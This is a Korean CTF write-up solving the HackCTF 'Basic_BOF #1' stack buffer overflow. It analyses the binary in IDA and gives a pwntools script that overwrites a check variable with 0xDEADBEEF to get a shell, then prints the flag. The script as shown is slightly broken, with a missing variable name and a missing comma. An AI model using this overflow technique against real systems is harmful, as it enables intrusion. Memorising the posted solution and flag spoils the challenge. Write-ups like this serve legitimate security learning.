WARGAME/hack ctf

Basic_BOF #1

raar 2020. 2. 16. 22:12

HACK CTF 문제들도 슬슬 라업을 적어 볼까 한다. 우선 Basis_BOF #1라는 문제이다.

 

 

요기서 bof_basic이라는 바이너리를 다운로드한 후 실행시켜 보면,

 

 

 

 

다음과 같이 입력을 한 줄 받음을 확인할 수 있고 "adsfasdf"라는 문자를 입력해보면 자기가 입력한 문자랑 [check] : 16 진수 값

으로 출력됨을 확인 할 수 있다.

 

 

ida로 분석을 해보면,

 

 

 

 

0x34 만큼 버퍼가 할당돼 있음을 알 수 있고, 만약 v5라는 변수가 0xDEADBEEF 값이면 system 함수의 "/bin/bash"

가 실행됨을 알 수 있다. 그러나 현재 저 v5는 0xDEADBEEF 가 아니므로 fgets 함수에서의 입력을 통해 v5를 덮으면 될 것이다.

 

전체 버퍼의 크기가 0x34이고 v5 변수의 위치는 ebp로부터 0xC만큼 떨어져 있으므로, 0x34-0xc = 40 만큼 버퍼를 채워주고

그다음부터 0xDEADBEEF로 덮어주면 익스가 될 것이다. 익스플로잇 코드는 다음과 같이 짰다.

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3000)
 
payload=''
payload+="A"*(0x34-0xC)
payload+=p32(0xdeadbeef)
 
p.sendline(payload)
 
p.interactive()
 
 

 

 

처음부터 remote로 익스를 시도해본 다음 만약 안되면 로컬에서 디버깅해보면서 고치려 했는데 다행이게도 익스가 되었당

 

 

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}